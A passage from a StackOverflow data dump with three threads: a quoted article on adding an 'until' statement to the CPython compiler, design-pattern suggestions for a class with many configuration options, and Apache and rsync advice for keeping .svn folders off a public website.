on.</p>\n\n<h3>That's it, we're done... Aren't we?</h3>\n\n<p>After making all the changes and running <code>make</code>, we can run the newly compiled Python and try our new <code>until</code> statement:</p>\n\n<pre><code>>>> until num == 0:\n... print(num)\n... num -= 1\n...\n3\n2\n1\n</code></pre>\n\n<p>Voila, it works! Let's see the bytecode created for the new statement by using the <code>dis</code> module as follows:</p>\n\n<pre><code>import dis\n\ndef myfoo(num):\n until num == 0:\n print(num)\n num -= 1\n\ndis.dis(myfoo)\n</code></pre>\n\n<p>Here's the result:</p>\n\n<pre><code>4 0 SETUP_LOOP 36 (to 39)\n >> 3 LOAD_FAST 0 (num)\n 6 LOAD_CONST 1 (0)\n 9 COMPARE_OP 2 (==)\n 12 POP_JUMP_IF_TRUE 38\n\n5 15 LOAD_NAME 0 (print)\n 18 LOAD_FAST 0 (num)\n 21 CALL_FUNCTION 1\n 24 POP_TOP\n\n6 25 LOAD_FAST 0 (num)\n 28 LOAD_CONST 2 (1)\n 31 INPLACE_SUBTRACT\n 32 STORE_FAST 0 (num)\n 35 JUMP_ABSOLUTE 3\n >> 38 POP_BLOCK\n >> 39 LOAD_CONST 0 (None)\n 42 RETURN_VALUE\n</code></pre>\n\n<p>The most interesting operation is number 12: if the condition is true, we jump to after the loop. This is correct semantics for <code>until</code>. If the jump isn't executed, the loop body keeps running until it jumps back to the condition at operation 35.</p>\n\n<p>Feeling good about my change, I then tried running the function (executing <code>myfoo(3)</code>) instead of showing its bytecode. The result was less than encouraging:</p>\n\n<pre><code>Traceback (most recent call last):\n File \"zy.py\", line 9, in\n myfoo(3)\n File \"zy.py\", line 5, in myfoo\n print(num)\nSystemError: no locals when loading 'print'\n</code></pre>\n\n<p>Whoa... this can't be good. So what went wrong?</p>\n\n<h3>The case of the missing symbol table</h3>\n\n<p>One of the steps the Python compiler performs when compiling the AST is create a symbol table for the code it compiles. The call to <code>PySymtable_Build</code> in <code>PyAST_Compile</code> calls into the symbol table module (<code>Python/symtable.c</code>), which walks the AST in a manner similar to the code generation functions. Having a symbol table for each scope helps the compiler figure out some key information, such as which variables are global and which are local to a scope.</p>\n\n<p>To fix the problem, we have to modify the <code>symtable_visit_stmt</code> function in <code>Python/symtable.c</code>, adding code for handling <code>until</code> statements, after the similar code for <code>while</code> statements <strong>[3]</strong>:</p>\n\n<pre><code>case While_kind:\n VISIT(st, expr, s->v.While.test);\n VISIT_SEQ(st, stmt, s->v.While.body);\n if (s->v.While.orelse)\n VISIT_SEQ(st, stmt, s->v.While.orelse);\n break;\ncase Until_kind:\n VISIT(st, expr, s->v.Until.test);\n VISIT_SEQ(st, stmt, s->v.Until.body);\n break;\n</code></pre>\n\n<p><strong>[3]</strong>: By the way, without this code there’s a compiler warning for <code>Python/symtable.c</code>. The compiler notices that the <code>Until_kind</code> enumeration value isn’t handled in the switch statement of <code>symtable_visit_stmt</code> and complains. It’s always important to check for compiler warnings!</p>\n\n<p>And now we really are done. Compiling the source after this change makes the execution of <code>myfoo(3)</code> work as expected.</p>\n\n<h3>Conclusion</h3>\n\n<p>In this article I've demonstrated how to add a new statement to Python. Albeit requiring quite a bit of tinkering in the code of the Python compiler, the change wasn't difficult to implement, because I used a similar and existing statement as a guideline.</p>\n\n<p>The Python compiler is a sophisticated chunk of software, and I don't claim being an expert in it. However, I am really interested in the internals of Python, and particularly its front-end. Therefore, I found this exercise a very useful companion to theoretical study of the compiler's principles and source code. It will serve as a base for future articles that will get deeper into the compiler.</p>\n\n<h3>References</h3>\n\n<p>I used a few excellent references for the construction of this article. Here they are, in no particular order:</p>\n\n<ul>\n<li><a href=\"http://www.python.org/dev/peps/pep-0339/\" rel=\"noreferrer\">PEP 339: Design of the CPython compiler</a> - probably the most important and comprehensive piece of <em>official</em> documentation for the Python compiler. Being very short, it painfully displays the scarcity of good documentation of the internals of Python.</li>\n<li>\"Python Compiler Internals\" - an article by Thomas Lee</li>\n<li>\"Python: Design and Implementation\" - a presentation by Guido van Rossum</li>\n<li>Python (2.5) Virtual Machine, A guided tour - a presentation by Peter Tröger</li>\n</ul>\n\n<p><a href=\"http://eli.thegreenplace.net/2010/06/30/python-internals-adding-a-new-statement-to-python/\" rel=\"noreferrer\">original source</a></p>\n"
},
{
"answer_id": 27841742,
"author": "kdb",
"author_id": 2075630,
"author_profile": "https://Stackoverflow.com/users/2075630",
"pm_score": 2,
"selected": false,
"text": "<p>Some things can be done with decorators. Let's e.g. assume, Python had no <code>with</code> statement. We could then implement a similar behaviour like this: </p>\n\n<pre><code># ====== Implementation of \"mywith\" decorator ======\n\ndef mywith(stream):\n def decorator(function):\n try: function(stream)\n finally: stream.close()\n return decorator\n\n# ====== Using the decorator ======\n\n@mywith(open(\"test.py\",\"r\"))\ndef _(infile):\n for l in infile.readlines():\n print(\">>\", l.rstrip())\n</code></pre>\n\n<p>It is a pretty unclean solution however as done here. Especially the behaviour where the decorator calls the function and sets <code>_</code> to <code>None</code> is unexpected. For clarification: This decorator is equivalent to writing </p>\n\n<pre><code>def _(infile): ...\n_ = mywith(open(...))(_) # mywith returns None.\n</code></pre>\n\n<p>and decorators are normally expected to modify, not to execute, functions. </p>\n\n<p>I used such a method before in a script where I had to temporarily set the working directory for several functions.</p>\n"
},
{
"answer_id": 31151217,
"author": "peterhil",
"author_id": 470560,
"author_profile": "https://Stackoverflow.com/users/470560",
"pm_score": 2,
"selected": false,
"text": "<p>It's not exactly adding new statements to the language syntax, but macros are a powerful tool: <a href=\"https://github.com/lihaoyi/macropy\" rel=\"nofollow\">https://github.com/lihaoyi/macropy</a></p>\n"
}
] |
2008/10/18
|
[
"https://Stackoverflow.com/questions/214881",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/745/"
] |
Can you add new statements (like `print`, `raise`, `with`) to Python's syntax?
Say, to allow..
```
mystatement "Something"
```
Or,
```
new_if True:
print "example"
```
Not so much if you *should*, but rather if it's possible (short of modifying the python interpreters code)
|
You may find this useful - [Python internals: adding a new statement to Python](http://eli.thegreenplace.net/2010/06/30/python-internals-adding-a-new-statement-to-python/), quoted here:
---
This article is an attempt to better understand how the front-end of Python works. Just reading documentation and source code may be a bit boring, so I'm taking a hands-on approach here: I'm going to add an `until` statement to Python.
All the coding for this article was done against the cutting-edge Py3k branch in the [Python Mercurial repository mirror](http://code.python.org/hg/branches/py3k/).
### The `until` statement
Some languages, like Ruby, have an `until` statement, which is the complement to `while` (`until num == 0` is equivalent to `while num != 0`). In Ruby, I can write:
```
num = 3
until num == 0 do
puts num
num -= 1
end
```
And it will print:
```
3
2
1
```
So, I want to add a similar capability to Python. That is, being able to write:
```
num = 3
until num == 0:
print(num)
num -= 1
```
### A language-advocacy digression
This article doesn't attempt to suggest the addition of an `until` statement to Python. Although I think such a statement would make some code clearer, and this article displays how easy it is to add, I completely respect Python's philosophy of minimalism. All I'm trying to do here, really, is gain some insight into the inner workings of Python.
### Modifying the grammar
Python uses a custom parser generator named `pgen`. This is a LL(1) parser that converts Python source code into a parse tree. The input to the parser generator is the file `Grammar/Grammar`**[1]**. This is a simple text file that specifies the grammar of Python.
**[1]**: From here on, references to files in the Python source are given relatively to the root of the source tree, which is the directory where you run configure and make to build Python.
Two modifications have to be made to the grammar file. The first is to add a definition for the `until` statement. I found where the `while` statement was defined (`while_stmt`), and added `until_stmt` below **[2]**:
```
compound_stmt: if_stmt | while_stmt | until_stmt | for_stmt | try_stmt | with_stmt | funcdef | classdef | decorated
if_stmt: 'if' test ':' suite ('elif' test ':' suite)* ['else' ':' suite]
while_stmt: 'while' test ':' suite ['else' ':' suite]
until_stmt: 'until' test ':' suite
```
**[2]**: This demonstrates a common technique I use when modifying source code I’m not familiar with: *work by similarity*. This principle won’t solve all your problems, but it can definitely ease the process. Since everything that has to be done for `while` also has to be done for `until`, it serves as a pretty good guideline.
Note that I've decided to exclude the `else` clause from my definition of `until`, just to make it a little bit different (and because frankly I dislike the `else` clause of loops and don't think it fits well with the Zen of Python).
The second change is to modify the rule for `compound_stmt` to include `until_stmt`, as you can see in the snippet above. It's right after `while_stmt`, again.
When you run `make` after modifying `Grammar/Grammar`, notice that the `pgen` program is run to re-generate `Include/graminit.h` and `Python/graminit.c`, and then several files get re-compiled.
### Modifying the AST generation code
After the Python parser has created a parse tree, this tree is converted into an AST, since ASTs are [much simpler to work with](http://eli.thegreenplace.net/2009/02/16/abstract-vs-concrete-syntax-trees/) in subsequent stages of the compilation process.
So, we're going to visit `Parser/Python.asdl` which defines the structure of Python's ASTs and add an AST node for our new `until` statement, again right below the `while`:
```
| While(expr test, stmt* body, stmt* orelse)
| Until(expr test, stmt* body)
```
If you now run `make`, notice that before compiling a bunch of files, `Parser/asdl_c.py` is run to generate C code from the AST definition file. This (like `Grammar/Grammar`) is another example of the Python source-code using a mini-language (in other words, a DSL) to simplify programming. Also note that since `Parser/asdl_c.py` is a Python script, this is a kind of [bootstrapping](http://en.wikipedia.org/wiki/Bootstrapping_%28compilers%29) - to build Python from scratch, Python already has to be available.
While `Parser/asdl_c.py` generated the code to manage our newly defined AST node (into the files `Include/Python-ast.h` and `Python/Python-ast.c`), we still have to write the code that converts a relevant parse-tree node into it by hand. This is done in the file `Python/ast.c`. There, a function named `ast_for_stmt` converts parse tree nodes for statements into AST nodes. Again, guided by our old friend `while`, we jump right into the big `switch` for handling compound statements and add a clause for `until_stmt`:
```
case while_stmt:
return ast_for_while_stmt(c, ch);
case until_stmt:
return ast_for_until_stmt(c, ch);
```
Now we should implement `ast_for_until_stmt`. Here it is:
```
static stmt_ty
ast_for_until_stmt(struct compiling *c, const node *n)
{
/* until_stmt: 'until' test ':' suite */
REQ(n, until_stmt);
if (NCH(n) == 4) {
expr_ty expression;
asdl_seq *suite_seq;
expression = ast_for_expr(c, CHILD(n, 1));
if (!expression)
return NULL;
suite_seq = ast_for_suite(c, CHILD(n, 3));
if (!suite_seq)
return NULL;
return Until(expression, suite_seq, LINENO(n), n->n_col_offset, c->c_arena);
}
PyErr_Format(PyExc_SystemError,
"wrong number of tokens for 'until' statement: %d",
NCH(n));
return NULL;
}
```
Again, this was coded while closely looking at the equivalent `ast_for_while_stmt`, with the difference that for `until` I've decided not to support the `else` clause. As expected, the AST is created recursively, using other AST creating functions like `ast_for_expr` for the condition expression and `ast_for_suite` for the body of the `until` statement. Finally, a new node named `Until` is returned.
Note that we access the parse-tree node `n` using some macros like `NCH` and `CHILD`. These are worth understanding - their code is in `Include/node.h`.
### Digression: AST composition
I chose to create a new type of AST for the `until` statement, but actually this isn't necessary. I could've saved some work and implemented the new functionality using composition of existing AST nodes, since:
```
until condition:
# do stuff
```
Is functionally equivalent to:
```
while not condition:
# do stuff
```
Instead of creating the `Until` node in `ast_for_until_stmt`, I could have created a `Not` node with an `While` node as a child. Since the AST compiler already knows how to handle these nodes, the next steps of the process could be skipped.
### Compiling ASTs into bytecode
The next step is compiling the AST into Python bytecode. The compilation has an intermediate result which is a CFG (Control Flow Graph), but since the same code handles it I will ignore this detail for now and leave it for another article.
The code we will look at next is `Python/compile.c`. Following the lead of `while`, we find the function `compiler_visit_stmt`, which is responsible for compiling statements into bytecode. We add a clause for `Until`:
```
case While_kind:
return compiler_while(c, s);
case Until_kind:
return compiler_until(c, s);
```
If you wonder what `Until_kind` is, it's a constant (actually a value of the `_stmt_kind` enumeration) automatically generated from the AST definition file into `Include/Python-ast.h`. Anyway, we call `compiler_until` which, of course, still doesn't exist. I'll get to it an a moment.
If you're curious like me, you'll notice that `compiler_visit_stmt` is peculiar. No amount of `grep`-ping the source tree reveals where it is called. When this is the case, only one option remains - C macro-fu. Indeed, a short investigation leads us to the `VISIT` macro defined in `Python/compile.c`:
```
#define VISIT(C, TYPE, V) {\
if (!compiler_visit_ ## TYPE((C), (V))) \
return 0; \
```
It's used to invoke `compiler_visit_stmt` in `compiler_body`. Back to our business, however...
As promised, here's `compiler_until`:
```
static int
compiler_until(struct compiler *c, stmt_ty s)
{
basicblock *loop, *end, *anchor = NULL;
int constant = expr_constant(s->v.Until.test);
if (constant == 1) {
return 1;
}
loop = compiler_new_block(c);
end = compiler_new_block(c);
if (constant == -1) {
anchor = compiler_new_block(c);
if (anchor == NULL)
return 0;
}
if (loop == NULL || end == NULL)
return 0;
ADDOP_JREL(c, SETUP_LOOP, end);
compiler_use_next_block(c, loop);
if (!compiler_push_fblock(c, LOOP, loop))
return 0;
if (constant == -1) {
VISIT(c, expr, s->v.Until.test);
ADDOP_JABS(c, POP_JUMP_IF_TRUE, anchor);
}
VISIT_SEQ(c, stmt, s->v.Until.body);
ADDOP_JABS(c, JUMP_ABSOLUTE, loop);
if (constant == -1) {
compiler_use_next_block(c, anchor);
ADDOP(c, POP_BLOCK);
}
compiler_pop_fblock(c, LOOP, loop);
compiler_use_next_block(c, end);
return 1;
}
```
I have a confession to make: this code wasn't written based on a deep understanding of Python bytecode. Like the rest of the article, it was done in imitation of the kin `compiler_while` function. By reading it carefully, however, keeping in mind that the Python VM is stack-based, and glancing into the documentation of the `dis` module, which has [a list of Python bytecodes](http://docs.python.org/py3k/library/dis.html) with descriptions, it's possible to understand what's going on.
### That's it, we're done... Aren't we?
After making all the changes and running `make`, we can run the newly compiled Python and try our new `until` statement:
```
>>> until num == 0:
... print(num)
... num -= 1
...
3
2
1
```
Voila, it works! Let's see the bytecode created for the new statement by using the `dis` module as follows:
```
import dis
def myfoo(num):
until num == 0:
print(num)
num -= 1
dis.dis(myfoo)
```
Here's the result:
```
4 0 SETUP_LOOP 36 (to 39)
>> 3 LOAD_FAST 0 (num)
6 LOAD_CONST 1 (0)
9 COMPARE_OP 2 (==)
12 POP_JUMP_IF_TRUE 38
5 15 LOAD_NAME 0 (print)
18 LOAD_FAST 0 (num)
21 CALL_FUNCTION 1
24 POP_TOP
6 25 LOAD_FAST 0 (num)
28 LOAD_CONST 2 (1)
31 INPLACE_SUBTRACT
32 STORE_FAST 0 (num)
35 JUMP_ABSOLUTE 3
>> 38 POP_BLOCK
>> 39 LOAD_CONST 0 (None)
42 RETURN_VALUE
```
The most interesting operation is number 12: if the condition is true, we jump to after the loop. This is correct semantics for `until`. If the jump isn't executed, the loop body keeps running until it jumps back to the condition at operation 35.
Feeling good about my change, I then tried running the function (executing `myfoo(3)`) instead of showing its bytecode. The result was less than encouraging:
```
Traceback (most recent call last):
File "zy.py", line 9, in
myfoo(3)
File "zy.py", line 5, in myfoo
print(num)
SystemError: no locals when loading 'print'
```
Whoa... this can't be good. So what went wrong?
### The case of the missing symbol table
One of the steps the Python compiler performs when compiling the AST is create a symbol table for the code it compiles. The call to `PySymtable_Build` in `PyAST_Compile` calls into the symbol table module (`Python/symtable.c`), which walks the AST in a manner similar to the code generation functions. Having a symbol table for each scope helps the compiler figure out some key information, such as which variables are global and which are local to a scope.
To fix the problem, we have to modify the `symtable_visit_stmt` function in `Python/symtable.c`, adding code for handling `until` statements, after the similar code for `while` statements **[3]**:
```
case While_kind:
VISIT(st, expr, s->v.While.test);
VISIT_SEQ(st, stmt, s->v.While.body);
if (s->v.While.orelse)
VISIT_SEQ(st, stmt, s->v.While.orelse);
break;
case Until_kind:
VISIT(st, expr, s->v.Until.test);
VISIT_SEQ(st, stmt, s->v.Until.body);
break;
```
**[3]**: By the way, without this code there’s a compiler warning for `Python/symtable.c`. The compiler notices that the `Until_kind` enumeration value isn’t handled in the switch statement of `symtable_visit_stmt` and complains. It’s always important to check for compiler warnings!
And now we really are done. Compiling the source after this change makes the execution of `myfoo(3)` work as expected.
### Conclusion
In this article I've demonstrated how to add a new statement to Python. Albeit requiring quite a bit of tinkering in the code of the Python compiler, the change wasn't difficult to implement, because I used a similar and existing statement as a guideline.
The Python compiler is a sophisticated chunk of software, and I don't claim being an expert in it. However, I am really interested in the internals of Python, and particularly its front-end. Therefore, I found this exercise a very useful companion to theoretical study of the compiler's principles and source code. It will serve as a base for future articles that will get deeper into the compiler.
### References
I used a few excellent references for the construction of this article. Here they are, in no particular order:
* [PEP 339: Design of the CPython compiler](http://www.python.org/dev/peps/pep-0339/) - probably the most important and comprehensive piece of *official* documentation for the Python compiler. Being very short, it painfully displays the scarcity of good documentation of the internals of Python.
* "Python Compiler Internals" - an article by Thomas Lee
* "Python: Design and Implementation" - a presentation by Guido van Rossum
* Python (2.5) Virtual Machine, A guided tour - a presentation by Peter Tröger
[original source](http://eli.thegreenplace.net/2010/06/30/python-internals-adding-a-new-statement-to-python/)
|
214,884 |
<p>I have a class on which I want to allow several (~20+) configuration options.
Each option turns on or off a piece of functionality, or otherwise alters operations.
To facilitate this, I coded a separate options class with default values. However, I had to litter my code with guard conditions to determine how methods should behave. I am almost done, but now the code seems to smell.</p>
<p>Is there a preferred method/pattern to implement a class like this?</p>
<p><strong>EDIT:</strong> More specifically, I am working on a parsing class.
Each option configures mutually exclusive portions of the basic parsing algorithm.
For example I have several areas in my class that look like the below:</p>
<pre><code> if (this.Option.UseIdAttribute)
attributeIDs = new Hashtable();
else
attributeIDs = null;
public Element GetElementById(string id)
{
if (string.IsNullOrEmpty (id))
throw new ArgumentNullException("id");
if (attributeIDs == null)
throw new Exception(ExceptionUseIdAttributeFalse);
return attributeIDs[id.ToLower()] as Element;
}
</code></pre>
|
[
{
"answer_id": 214893,
"author": "Thomas Owens",
"author_id": 572,
"author_profile": "https://Stackoverflow.com/users/572",
"pm_score": 4,
"selected": true,
"text": "<p>How about the <a href=\"http://en.wikipedia.org/wiki/Decorator_Pattern\" rel=\"nofollow noreferrer\">Decorator pattern</a>? It's designed for dynamically adding behavior to a class.</p>\n"
},
{
"answer_id": 214949,
"author": "extraneon",
"author_id": 24582,
"author_profile": "https://Stackoverflow.com/users/24582",
"pm_score": 0,
"selected": false,
"text": "<p>I'm thinking of a <a href=\"http://www.patterndepot.com/put/8/Behavioral.html\" rel=\"nofollow noreferrer\">Command</a> pattern.</p>\n\n<p>It would look something like:</p>\n\n<pre><code> public class MyClass {\n\n interface Command {\n void execute(int a);\n }\n\n static class DoThisSimpleCommand implements Command {\n void execute(int a) {\n // do this simple\n }\n }\n\n static class DoThisAnotherWayCommand implements Command {\n void execute(int a) {\n // do this another way\n }\n }\n\n private Command doThisCommand;\n\n MyClass() {\n initDoThisCommand();\n }\n\n private void initDoThisCommand() {\n if (config.getDoThisMethod().equals(\"simple\")) {\n doThisCommand = new DoThisSimpleCommand();\n } else {\n doThisCommand = new DoThisAnotherWayCommand();\n }\n }\n\n void doThis(int a) {\n doThisCommand.execute(a);\n }\n}\n</code></pre>\n\n<p>In other words; you delegate responsibility to an implementation which you instantiate on construction. Now your doThis just delegates and the actual functionality is cleanly stowed away in it's own class. </p>\n"
},
{
"answer_id": 214963,
"author": "Chii",
"author_id": 17335,
"author_profile": "https://Stackoverflow.com/users/17335",
"pm_score": 2,
"selected": false,
"text": "<p>There is indeed another pattern called the builder pattern exactly for this purpose. Its usually, useful when you have a class but each 'configuration' option could be made optional perhaps in some combinations only. (<a href=\"http://en.wikipedia.org/wiki/Builder_pattern\" rel=\"nofollow noreferrer\">http://en.wikipedia.org/wiki/Builder_pattern</a>, but that doesnt exactly describe my scenario tho). </p>\n\n<p>You create two classes - the class you want to build, and the builder. The builder class is the class that takes care of working out which combinations of options are optional, which combination makes sense, etc etc. </p>\n\n<p>e.g., you want to represent a salad - but only certain ingredients 'tastes good', so only those should be made. </p>\n\n<pre><code>Class Salad {\n private Veggie v;\n private Egg e;\n private Meat m;\n // etc etc, lots of properties\n //constructor like this is nice\n Salad(SaladBuilder builder) {\n //query the builder to actually build the salad object. \n //getVeggie() will either return the supplied value, \n //or a default if none exists. \n this.v = builder.getVeggie(); \n //rest of code omitted\n }\n\n //otherwise this constructor is fine, but needs a builder.build() method\n Salad(Veggie v, Meat m, Egg e) { //code omitted\n }\n}\n\nclass SaladBuilder {\n //some default, or left to null depending on what is needed\n private Veggie v = SOME_DEFAULT_VEGGIE;\n private Egg e; \n private Meat m;\n // etc etc, lots of properties.\n\n //similar functions for each ingredient, \n //or combination of ingredients that only make sense together \n public SaladBuilder addIngredient(Meat m) {\n this.m = m;\n return this;\n }\n\n public SaladBuilder addIngredient(Veggie v) {\n this.v = v;\n return this;\n }\n\n public Salad build(){\n // essentially, creates the salad object, but make sure optionals\n // are taken care of here.\n return new Salad(getBeggie(), getMeat(), getEgg());\n }\n}\n</code></pre>\n\n<p>usage example</p>\n\n<pre><code>Salad s = new SaladBuilder().addIngredient(v).addIngredient(m).build();\n</code></pre>\n"
},
{
"answer_id": 214978,
"author": "tvanfosson",
"author_id": 12950,
"author_profile": "https://Stackoverflow.com/users/12950",
"pm_score": 2,
"selected": false,
"text": "<p>For the options that turn on/off functionality, I think Decorator is the way to go as @Thomas Owens says. I'm a little more concerned about the options that alter functions. Decorator many not work if these operations cannot be chained. For example, if your code looks like:</p>\n\n<pre><code>public void ActionABC()\n{\n if (options.DoA)\n {\n A();\n }\n\n if (options.DoB)\n {\n B();\n }\n\n if (options.DoC)\n {\n C();\n }\n}\n\npublic void ActionCAB()\n{\n if (options.DoC)\n {\n C();\n }\n\n if (options.DoA)\n {\n A();\n }\n\n if (options.DoB)\n {\n B();\n }\n}\n</code></pre>\n\n<p>This would be difficult to handle with Decorator as the order of composition differs for for each Action method.</p>\n\n<p>With 20+ options, assuming that they are on/off, you have over 400 different possible combinations. I suspect that not all of these combinations are equally likely. For things that you can't handle via Decorator, you might want to think about modes of operation that map on to combinations of settings. Support only those modes that are most expected. If the number of modes is small you could handle this with subclassing, then use the Decorators to add functionality to the subclass representing the mode the user has chosen. You could use a Factory to select and build the proper class based on the configuration.</p>\n\n<p>In essence, I guess I'm saying that you may want to consider if you need as much flexibility, and attendant complexity, as you are building. Consider reducing the number of configuration options by collapsing them into a smaller number of more likely to be used modes.</p>\n"
},
{
"answer_id": 214982,
"author": "David Robbins",
"author_id": 19799,
"author_profile": "https://Stackoverflow.com/users/19799",
"pm_score": 0,
"selected": false,
"text": "<p>How do you intend to enforce rules for options that are interdependent? If you can add options dynamically you may be forced to have multiple invokers if you the command pattern, or you may have to implement a case statement for building out what commands you need execute.</p>\n"
},
{
"answer_id": 215049,
"author": "johnstok",
"author_id": 27929,
"author_profile": "https://Stackoverflow.com/users/27929",
"pm_score": 1,
"selected": false,
"text": "<p>What about something like this?</p>\n\n<pre><code>IdMap elementsById = (options.useIdAttribute) ? new IdMapImpl() : new NullIdMap();\n\npublic Element getElementById(final string id) {\n return elementsById.get(id);\n}\n</code></pre>\n\n<p>Based on the following types:</p>\n\n<pre><code>interface IdMap {\n Element get(String id);\n}\n\nclass NullIdMap implements IdMap {\n public Element get(final String id) {\n throw new Exception(/* Error message */);\n }\n}\n\nclass IdMapImpl implements IdMap {\n Map<String, Element> elements = new HashMap<String, Element>();\n\n public Element get(final String id) {\n rejectEmpty(id);\n return elements.get(id.toLowerCase());\n }\n}\n</code></pre>\n\n<p>Here we make use of the <a href=\"http://en.wikipedia.org/wiki/Null_Object_pattern\" rel=\"nofollow noreferrer\">NullObject</a> pattern to handle the special case where useIdAttribute is disabled. Of course there is a trade-off - the parser class itself is more expressive, while there are now 4 types rather than 1. This refactoring may seem like overkill for just the get method, but when you add a 'put()' method etc. it has the benefit of localisng the 'special case' logic in a single class (NullIdMap).</p>\n\n<p>[rejectEmpty is a helper method that throws an exception if passed an empty string.]</p>\n"
},
{
"answer_id": 222995,
"author": "joshua.ewer",
"author_id": 28664,
"author_profile": "https://Stackoverflow.com/users/28664",
"pm_score": 0,
"selected": false,
"text": "<p>Using something like a strategy or policy pattern might be useful here. It's a nice way to encapsulate or swap out different implementations of an algorithm based on things like configuration or (non)existence of some particular data at runtime. </p>\n\n<p>In your scenario, if your parsing class typically has the same types of behavior (something in, something out) but the internal algorithms change, it's something you might want to base an implementation on.</p>\n\n<p><a href=\"http://en.wikipedia.org/wiki/Strategy_pattern\" rel=\"nofollow noreferrer\">http://en.wikipedia.org/wiki/Strategy_pattern</a></p>\n"
}
] |
2008/10/18
|
[
"https://Stackoverflow.com/questions/214884",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/14484/"
] |
I have a class on which I want to allow several (~20+) configuration options.
Each option turns on or off a piece of functionality, or otherwise alters operations.
To facilitate this, I coded a separate options class with default values. However, I had to litter my code with guard conditions to determine how methods should behave. I am almost done, but now the code seems to smell.
Is there a preferred method/pattern to implement a class like this?
**EDIT:** More specifically, I am working on a parsing class.
Each option configures mutually exclusive portions of the basic parsing algorithm.
For example I have several areas in my class that look like the below:
```
if (this.Option.UseIdAttribute)
attributeIDs = new Hashtable();
else
attributeIDs = null;
public Element GetElementById(string id)
{
if (string.IsNullOrEmpty (id))
throw new ArgumentNullException("id");
if (attributeIDs == null)
throw new Exception(ExceptionUseIdAttributeFalse);
return attributeIDs[id.ToLower()] as Element;
}
```
|
How about the [Decorator pattern](http://en.wikipedia.org/wiki/Decorator_Pattern)? It's designed for dynamically adding behavior to a class.
|
214,886 |
<p>I want to keep my website/s in version control (Subversion specifically) and use <code>svn co</code> to update it when there are stable versions to update, but I'm concerned about the security of doing so, as all the <code>.svn</code> folders will be public, and these include all sorts of private data, not least of which is complete source code to my website! </p>
<p>Is there anything I can I do to prevent this?</p>
|
[
{
"answer_id": 214887,
"author": "Matthew Scharley",
"author_id": 15537,
"author_profile": "https://Stackoverflow.com/users/15537",
"pm_score": 3,
"selected": false,
"text": "<p>This can be achieved server-wide (recommended), on a single virtual-host basis, or even inside <code>.htaccess</code> files if your server is somewhat permissive with what is allowed in them. The specific configuration you need is:</p>\n\n<pre><code>RewriteEngine On\nRewriteRule /\\.svn /some-non-existant-404-causing-page\n\n<IfModule autoindex_module>\n IndexIgnore .svn\n</IfModule>\n</code></pre>\n\n<p>The first section requires <code>mod_rewrite</code>. It forces any requests with \"/.svn\" in them (ie. any request for the directory, or anything inside the directory) to be <em>internally</em> redirected to a non-existant page on your website. This is completely transparent to the end-user and undetectable. It also forces a 404 error, as if your <code>.svn</code> folders just disappeared.</p>\n\n<p>The second section is purely cosmetic, and will hide the <code>.svn</code> folders from the autoindex module if it is activated. This is a good idea too, just to keep curious souls from getting any ideas.</p>\n"
},
{
"answer_id": 214908,
"author": "Vinko Vrsalovic",
"author_id": 5190,
"author_profile": "https://Stackoverflow.com/users/5190",
"pm_score": 6,
"selected": true,
"text": "<p>Two things:</p>\n\n<ol>\n<li><p>Do not use IfModule for functionality you need to be present. It's okay to do it for the autoindex because it might not be present and is not crucial to the scheme. But you are counting on rewrite being present to protect your content. Thus, it's better to remove the IfModule directive and let apache tell you when rewrite is not present for you to enable it (or at least know that you won't be 'protected' and consciously comment the lines)</p></li>\n<li><p>No need to use rewrite there if you have access to main configuration files, much easier would be one of</p>\n\n<pre><code><DirectoryMatch \\.svn>\n Order allow,deny\n Deny from all\n</DirectoryMatch>\n</code></pre></li>\n</ol>\n\n<p>which will generate 403 Forbidden (which is better from HTTP compliance point of view)\nor, if you want to take the security by obscurity route, use AliasMatch</p>\n\n<pre><code> AliasMatch \\.svn /non-existant-page\n</code></pre>\n\n<p>If you don't have access to main configuration files you're left with hoping mod_rewrite is enabled for usage in .htaccess.</p>\n"
},
{
"answer_id": 214954,
"author": "Eric Hogue",
"author_id": 4137,
"author_profile": "https://Stackoverflow.com/users/4137",
"pm_score": 2,
"selected": false,
"text": "<p>Hiding the directories as Vinko says should work. But it would probably be simpler to use <a href=\"http://svnbook.red-bean.com/en/1.5/svn.ref.svn.c.export.html\" rel=\"nofollow noreferrer\">svn export</a> instead of svn co. This should not generate the .svn directories. </p>\n"
},
{
"answer_id": 215157,
"author": "CesarB",
"author_id": 28258,
"author_profile": "https://Stackoverflow.com/users/28258",
"pm_score": 2,
"selected": false,
"text": "<p>There is an interesting approach I use: the checkout (and update) is done on a completely separate directory (possibly on a completely separate machine), and then the code is copied to where the webserver will read it with rsync. An --exclude rule on the rsync command line is used to make it not copy any .svn (and CVS) diretories, while a --delete-excluded makes sure they will be removed even if they were copied before.</p>\n\n<p>Since both svn update and rsync do incremental transfers, this is quite fast even for larger sites. It also allows you to have your repository behind a firewall. The only caveat is that you must move all directories with files generated on the server (such as the files/ directory on Drupal) to a place outside the rsync target directory (rsync will overwrite everything when used this way), and the symlink to it must be created <em>in the rsync source directory</em>. The rsync source directory can have other non-versioned files too (like machine-specific configuration files).</p>\n\n<p>The full set of rsync parameters I use is</p>\n\n<pre><code>rsync -vv --rsh='ssh -l username' -rltzpy --exclude .svn/ --exclude CVS/ --exclude Attic/ --delete-after --delete-excluded --chmod=og-w,Fa-x\n</code></pre>\n\n<p>Even then, for redundancy, I still have a configuration rule to prevent .svn from being accessed, copied from a Debian default rule which prevents .ht* (.htaccess, .htpasswd) from being accesed.</p>\n"
},
{
"answer_id": 218111,
"author": "Jon Topper",
"author_id": 6945,
"author_profile": "https://Stackoverflow.com/users/6945",
"pm_score": 2,
"selected": false,
"text": "<p>Consider deploying live code using your operating system's package management tools, rather than directly from your VCS. This will let you ensure your live packages don't contain metadata directories, or other potentially sensitive tools and data.</p>\n"
},
{
"answer_id": 3207922,
"author": "Gilles 'SO- stop being evil'",
"author_id": 387076,
"author_profile": "https://Stackoverflow.com/users/387076",
"pm_score": 3,
"selected": false,
